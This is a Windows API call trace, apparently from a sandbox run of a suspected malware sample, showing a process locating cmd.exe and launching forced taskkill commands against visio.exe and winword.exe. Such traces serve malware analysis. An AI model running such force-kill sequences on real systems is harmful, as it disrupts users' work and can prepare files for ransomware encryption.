	[0048.745] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124f7598 | out: lpFileInformation=0x124f7598*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.745] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f75e8 | out: lpFileInformation=0x124f75e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.745] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.746] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f7638 | out: lpFileInformation=0x124f7638*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.746] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.746] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124f7688 | out: lpFileInformation=0x124f7688*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.746] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.746] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124f76d8 | out: lpFileInformation=0x124f76d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0048.746] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0048.746] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e6f70, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0048.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7728 | out: lpFileInformation=0x124f7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0048.746] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e7040, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0048.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f7778 | out: lpFileInformation=0x124f7778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0048.746] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0048.746] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0048.747] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0048.747] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0048.747] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0048.747] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0048.747] GetEnvironmentStringsW () returned 0x7eb348*
	[0048.747] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0048.748] GetCurrentProcess () returned 0xffffffff
	[0048.748] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124ff350, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124ff350*=0xb8) returned 1
	[0048.748] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124ff354, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124ff354*=0xbc) returned 1
	[0048.748] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124ff358, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124ff358*=0xc0) returned 1
	[0048.748] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im visio.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12523800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im visio.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0xbec, dwThreadId=0x618)) returned 1
	[0048.755] CloseHandle (hObject=0xc4) returned 1
	[0048.756] CloseHandle (hObject=0xc0) returned 1
	[0048.756] CloseHandle (hObject=0xbc) returned 1
	[0048.756] CloseHandle (hObject=0xb8) returned 1
	[0048.756] CloseHandle (hObject=0xac) returned 1
	[0048.756] CloseHandle (hObject=0xb0) returned 1
	[0048.756] CloseHandle (hObject=0xb4) returned 1
	[0048.756] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0049.147] SetEvent (hEvent=0xa8) returned 1
	[0049.147] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0049.148] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x125019e0, lpExitTime=0x125019e8, lpKernelTime=0x125019f0, lpUserTime=0x125019f8 | out: lpCreationTime=0x125019e0, lpExitTime=0x125019e8, lpKernelTime=0x125019f0, lpUserTime=0x125019f8) returned 1
	[0049.148] CloseHandle (hObject=0xc8) returned 1
	[0049.148] SetEvent (hEvent=0x80) returned 1
	[0049.148] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0049.158] SetEvent (hEvent=0x80) returned 1
	[0049.158] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124eedd0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.158] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502f08 | out: lpFileInformation=0x12502f08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.159] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.159] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12502f58 | out: lpFileInformation=0x12502f58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.159] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.159] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12502fa8 | out: lpFileInformation=0x12502fa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.159] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.159] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12502ff8 | out: lpFileInformation=0x12502ff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.159] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.159] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12503048 | out: lpFileInformation=0x12503048*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.159] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.159] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12503098 | out: lpFileInformation=0x12503098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.159] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x125030e8 | out: lpFileInformation=0x125030e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.160] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12503138 | out: lpFileInformation=0x12503138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.160] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12503188 | out: lpFileInformation=0x12503188*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.160] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x125031d8 | out: lpFileInformation=0x125031d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.160] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12503228 | out: lpFileInformation=0x12503228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.160] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12503278 | out: lpFileInformation=0x12503278*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0049.160] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0049.160] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124eeea0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0049.160] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x125032c8 | out: lpFileInformation=0x125032c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0049.161] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124eef70, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.161] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12503318 | out: lpFileInformation=0x12503318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0049.161] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0049.161] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0049.161] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0049.161] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0049.161] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0049.161] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0049.162] GetEnvironmentStringsW () returned 0x7eb348*
	[0049.162] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0049.162] GetCurrentProcess () returned 0xffffffff
	[0049.162] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250d0d0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250d0d0*=0xac) returned 1
	[0049.162] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250d0d4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250d0d4*=0xb8) returned 1
	[0049.162] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1250d0d8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1250d0d8*=0xbc) returned 1
	[0049.162] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im winword.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12537800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im winword.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0x7e4, dwThreadId=0x7a4)) returned 1
	[0049.170] CloseHandle (hObject=0xc0) returned 1
	[0049.170] CloseHandle (hObject=0xbc) returned 1
	[0049.170] CloseHandle (hObject=0xb8) returned 1
	[0049.170] CloseHandle (hObject=0xac) returned 1
	[0049.170] CloseHandle (hObject=0xc8) returned 1
	[0049.170] CloseHandle (hObject=0xb4) returned 1
	[0049.170] CloseHandle (hObject=0xb0) returned 1
	[0049.170] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0049.546] SetEvent (hEvent=0xa8) returned 1
	[0049.546] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0049.546] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x125116e0, lpExitTime=0x125116e8, lpKernelTime=0x125116f0, lpUserTime=0x125116f8 | out: lpCreationTime=0x125116e0, lpExitTime=0x125116e8, lpKernelTime=0x125116f0, lpUserTime=0x125116f8) returned 1
	[0049.546] CloseHandle (hObject=0xc4) returned 1
	[0049.546] SetEvent (hEvent=0x80) returned 1
	[0049.546] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0049.560] SetEvent (hEvent=0x80) returned 1
	[0049.560] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e7110, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
